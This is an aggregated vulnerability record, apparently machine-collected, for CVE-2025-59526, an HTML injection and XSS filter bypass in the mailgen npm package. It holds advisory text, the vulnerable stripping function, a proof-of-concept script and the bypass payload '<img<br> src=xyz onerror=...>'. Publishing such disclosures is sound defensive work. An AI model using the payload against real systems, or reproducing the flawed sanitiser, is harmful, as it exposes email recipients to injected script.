{"id":"EUVD-2025-30449","revision":null,"records":[{"revision":"e4842c17880e4d61b22db52c372d26ff","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2025-59526","aliases":[],"title":"Mailgen: HTML injection vulnerability in plaintext e-mails","description":"mailgen is a Node.js package that generates responsive HTML e-mails for sending transactional mail. Prior to version 2.0.30, there is an HTML injection vulnerability in plaintext e-mails generated by Mailgen. Projects are affected if the Mailgen.generatePlaintext(email) method is used and given user-generated content. This vulnerability has been patched in version 2.0.30. A workaround involves stripping all HTML tags before passing any content into Mailgen.generatePlaintext(email).","state":0,"publishedAt":"2025-09-22T19:27:53.323+00:00","modifiedAt":"2025-09-22T19:45:47.069+00:00","affected":[{"ecosystem":"Vendor product","name":"mailgen","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"eladnava\",\n                    \"product\": \"mailgen\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 2.0.30\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:L/E:U","score":2.7,"severity":"LOW"}],"references":["https://github.com/eladnava/mailgen/security/advisories/GHSA-j2xj-h7w5-r7vp","https://github.com/eladnava/mailgen/commit/741a0190ddae0f408b22ae3b5f0f4c3f5cf4f11d"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-59526","license":"CVE Program Terms of Use","key":"cve-program:CVE-2025-59526","identifiers":["CVE-2025-59526"]},"retained":false,"historicalAffected":[]},{"revision":"c6b0ae1389ca468286594849ca42414a","observedAt":"2026-11-09T03:15:23.657+00:00","statement":{"source":"euvd","id":"EUVD-2025-30449","aliases":["CVE-2025-59526","GHSA-j2xj-h7w5-r7vp"],"title":"mailgen is a Node.js package that generates responsive HTML e-mails for sending transactional mail. Prior to version 2.0.30, there is an HTML injection vulnerability in plaintext e-mails generated by Mailgen. Projects are affected if the Ma…","description":"mailgen is a Node.js package that generates responsive HTML e-mails for sending transactional mail. Prior to version 2.0.30, there is an HTML injection vulnerability in plaintext e-mails generated by Mailgen. Projects are affected if the Mailgen.generatePlaintext(email) method is used and given user-generated content. This vulnerability has been patched in version 2.0.30. A workaround involves stripping all HTML tags before passing any content into Mailgen.generatePlaintext(email).","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:L/E:U","score":2.7,"severity":null}],"references":["https://github.com/eladnava/mailgen/security/advisories/GHSA-j2xj-h7w5-r7vp","https://github.com/eladnava/mailgen/commit/741a0190ddae0f408b22ae3b5f0f4c3f5cf4f11d"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2025-30449","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 22, 2025, 7:27:53 PM","dateUpdated":"Sep 22, 2025, 7:45:47 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2025-30449","identifiers":["EUVD-2025-30449","CVE-2025-59526","GHSA-j2xj-h7w5-r7vp"]},"retained":false,"historicalAffected":[]},{"revision":"bf0a1b64ab2c4d0496212f9477200a2a","observedAt":"2026-10-25T03:17:27.277+00:00","statement":{"source":"nvd","id":"CVE-2025-59526","aliases":[],"title":"mailgen is a Node.js package that generates responsive HTML e-mails for sending transactional mail. Prior to version 2.0.30, there is an HTML injection vulnerability in plaintext e-mails generated by Mailgen. Projects are affected if the Ma…","description":"mailgen is a Node.js package that generates responsive HTML e-mails for sending transactional mail. Prior to version 2.0.30, there is an HTML injection vulnerability in plaintext e-mails generated by Mailgen. Projects are affected if the Mailgen.generatePlaintext(email) method is used and given user-generated content. This vulnerability has been patched in version 2.0.30. A workaround involves stripping all HTML tags before passing any content into Mailgen.generatePlaintext(email).","state":0,"publishedAt":"2025-09-22T20:15:39.2+00:00","modifiedAt":"2026-10-11T20:10:00.2+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:L/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":2.7,"severity":"LOW"}],"references":["https://github.com/eladnava/mailgen/commit/741a0190ddae0f408b22ae3b5f0f4c3f5cf4f11d","https://github.com/eladnava/mailgen/security/advisories/GHSA-j2xj-h7w5-r7vp"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-59526","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-79"],"productCriteria":[],"sourceDates":{"published":"2025-09-22T20:15:39.200","lastModified":"2026-10-11T20:10:00.200"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2025-59526","identifiers":["CVE-2025-59526"]},"retained":false,"historicalAffected":[]},{"revision":"987a6dea14844c45a38c0f0a5ca6b020","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-j2xj-h7w5-r7vp","aliases":["CVE-2025-59526"],"title":"Mailgen: HTML injection vulnerability in plaintext e-mails","description":"# HTML Injection and XSS Filter Bypass in Plaintext Emails\n\n### Summary\nAn HTML injection vulnerability in plaintext emails generated by Mailgen has been discovered. Your project is affected if you use the `Mailgen.generatePlaintext(email);` method and pass in user-generated content. The issue was discovered and reported by Edoardo Ottavianelli (@edoardottt).\n\n### Vulnerability Analysis\nThe following function (inside `index.js`) is intended to strip all HTML content to produce a plaintext string.\n\n```javascript\n// Plaintext text e-mail generator\nMailgen.prototype.generatePlaintext = function (params) {\n    // Plaintext theme not cached?\n    if (!this.cachedPlaintextTheme) {\n        throw new Error('An error was encountered while loading the plaintext theme.');\n    }\n   \n    // Parse email params and get back an object with data to inject\n    var ejsParams = this.parseParams(params);\n\n    // Render the plaintext theme with ejs, injecting the data accordingly\n    var output = ejs.render(this.cachedPlaintextTheme, ejsParams);\n\n    // Definition of the <br /> tag as a regex pattern\n    var breakTag = /(?:\\<br\\s*\\/?\\>)/g;\n    var breakTagPattern = new RegExp(breakTag);\n\n    // Check the plaintext for html break tag, maintains backwards compatiblity\n    if (breakTagPattern.test(this.cachedPlaintextTheme)) {\n        // Strip all linebreaks from the rendered plaintext\n        output = output.replace(/(?:\\r\\n|\\r|\\n)/g, '');\n\n        // Replace html break tags with linebreaks\n        output = output.replace(breakTag, '\\n');\n\n        // Remove plaintext theme indentation (tabs or spaces in the beginning of each line)\n        output = output.replace(/^(?: |\\t)*/gm, \"\");\n    }\n\n    // Strip all HTML tags from plaintext output\n    output = output.replace(/<.+?>/g, '');\n\n    // Decode HTML entities such as &copy;\n    output = he.decode(output);\n\n    // All done!\n    return output;\n};\n```\n\nThe process fails because it first converts HTML break tags to newlines and then attempts to strip HTML tags with a regular expression. Using a break tag inside another HTML tag can deceive the filter, allowing HTML content to be injected into the email.\n\nA valid payload is: `<img<br> src=xyz onerror=alert(1)>`.\n\n### Proof of Concept\n\n```javascript\nvar Mailgen = require('mailgen');\n\nvar mailGenerator = new Mailgen({\n    theme: 'default',\n    product: {\n        name: 'Mailgen',\n        link: 'https://mailgen.js/'\n    }\n});\n\nvar email = {\n    body: {\n        name: 'John <img<br> src=xyz onerror=alert(document.body.innerHTML)> Appleseed',\n        intro: 'Welcome to Mailgen! We\\'re very excited to have you on board.',\n        action: {\n            instructions: 'To get started with Mailgen, please click here:',\n            button: {\n                color: '#22BC66',\n                text: 'Confirm your account',\n                link: 'secret-link'\n            }\n        },\n        outro: 'Need help, or have questions? Just reply to this email, we\\'d love to help.'\n    }\n};\n\n// Generate the plaintext version of the e-mail\nvar emailText = mailGenerator.generatePlaintext(email);\n\n// Optionally, preview the generated plaintext e-mail\nrequire('fs').writeFileSync('emailText.txt', emailText, 'utf8');\n```\n\n**Resulting output file (`emailText.txt`):**\n\n```html\nHi John <img\nsrc=xyz onerror=alert(document.body.innerHTML)> Appleseed,\n\nWelcome to Mailgen! We're very excited to have you on board.        \n\nTo get started with Mailgen, please click here:        \nsecret-link            \n\nNeed help, or have questions? Just reply to this email, we'd love to help.        \n\nYours truly,  \nMailgen\n\n© 2025 Mailgen. All rights reserved.\n```\n\n### Mitigation\nThe vulnerability has been patched in commit [741a019](https://github.com/eladnava/mailgen/commit/741a0190ddae0f408b22ae3b5f0f4c3f5cf4f11d) and released to npm in version `2.0.30`.\n\nThanks to Edoardo Ottavianelli (@edoardottt) for discovering and reporting this vulnerability.","state":0,"publishedAt":"2025-09-22T18:03:47+00:00","modifiedAt":"2025-09-23T20:50:37+00:00","affected":[{"ecosystem":"npm","name":"mailgen","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.0.30"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/eladnava/mailgen/security/advisories/GHSA-j2xj-h7w5-r7vp","https://nvd.nist.gov/vuln/detail/CVE-2025-59526","https://github.com/eladnava/mailgen/commit/741a0190ddae0f408b22ae3b5f0f4c3f5cf4f11d","https://github.com/eladnava/mailgen"],"sourceUrl":"https://github.com/advisories/GHSA-j2xj-h7w5-r7vp","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-j2xj-h7w5-r7vp","identifiers":["GHSA-j2xj-h7w5-r7vp","CVE-2025-59526"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-10T11:25:04.0778179+00:00","complete":true,"records":1773,"lastAttemptAt":"2026-11-10T11:25:04.0778179+00:00","lastSuccessAt":"2026-11-10T11:25:05.0136335+00:00","error":null,"lastVerifiedAt":"2026-11-10T11:25:05.0136358+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-8859cf40d4337e24bd2f258cc7778fbad01bb24c79d057aaf34cf1dfc6f8917d-7f63d5ae9ad1cf5d15daca54e2cb44cc953d9727a9c4dbe21f340d16ec79e07a","complete":true,"records":421929,"lastAttemptAt":"2026-11-10T11:21:40.8171583+00:00","lastSuccessAt":"2026-11-10T11:21:40.7840841+00:00","error":null,"lastVerifiedAt":"2026-11-10T11:21:40.8171583+00:00","snapshotPublishedAt":"2026-11-10T10:23:15+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-d438db76762e40e09fae683c91dc71f3","complete":true,"records":13691,"lastAttemptAt":"2026-11-10T11:26:02.3053181+00:00","lastSuccessAt":"2026-11-10T11:26:02.298+00:00","error":null,"lastVerifiedAt":"2026-11-10T11:26:02.298+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13744,"expectedIdentifiers":13744,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-10T11:25:04.0778179+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-10T11:25:04.0778179+00:00","lastSuccessAt":"2026-11-10T11:25:05.0144698+00:00","error":null,"lastVerifiedAt":"2026-11-10T11:25:05.0144706+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-c3b5116d0840469fb49189e776b1e7eb","complete":false,"records":13697,"lastAttemptAt":"2026-11-10T11:25:33.4594859+00:00","lastSuccessAt":"2026-11-10T11:25:33.455+00:00","error":"100 identifier lookups failed; latest failures include request timeout. Other identifiers were checked independently.","lastVerifiedAt":"2026-11-10T11:25:33.455+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13642,"expectedIdentifiers":13744,"failedIdentifiers":100},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-cdffb4589856378aa42e8d1bd4a6c74e27a180d8160bf764c44715ef760f0a62","complete":true,"records":9932,"lastAttemptAt":"2026-11-10T11:25:03.699196+00:00","lastSuccessAt":"2026-11-10T00:04:19.8260565+00:00","error":null,"lastVerifiedAt":"2026-11-10T11:25:03.699196+00:00","snapshotPublishedAt":"2026-11-09T23:48:01+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-26503967ae4379db8f374089589d6e03fb15bd31f820c9e992aaf93840c2236c","complete":true,"records":1971,"lastAttemptAt":"2026-11-10T11:21:41.0754601+00:00","lastSuccessAt":"2026-11-09T21:02:20.472473+00:00","error":null,"lastVerifiedAt":"2026-11-10T11:21:41.0754601+00:00","snapshotPublishedAt":"2026-11-09T20:18:18+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-94169eec81ea3989aa551092397ff34ae53c104b4a6ce646e1524452e4ab2a39","complete":true,"records":3065,"lastAttemptAt":"2026-11-10T11:25:03.948442+00:00","lastSuccessAt":"2026-11-10T08:04:45.5923716+00:00","error":null,"lastVerifiedAt":"2026-11-10T11:25:03.948442+00:00","snapshotPublishedAt":"2026-11-10T06:48:01+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-86f40cdda9ca36627f818d0cc8237a8a8c7c22cb687d6747a4ea12bded69e17e","complete":true,"records":231599,"lastAttemptAt":"2026-11-10T11:25:02.6977972+00:00","lastSuccessAt":"2026-11-10T11:25:00.8551311+00:00","error":null,"lastVerifiedAt":"2026-11-10T11:25:02.6977972+00:00","snapshotPublishedAt":"2026-11-10T11:03:07+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}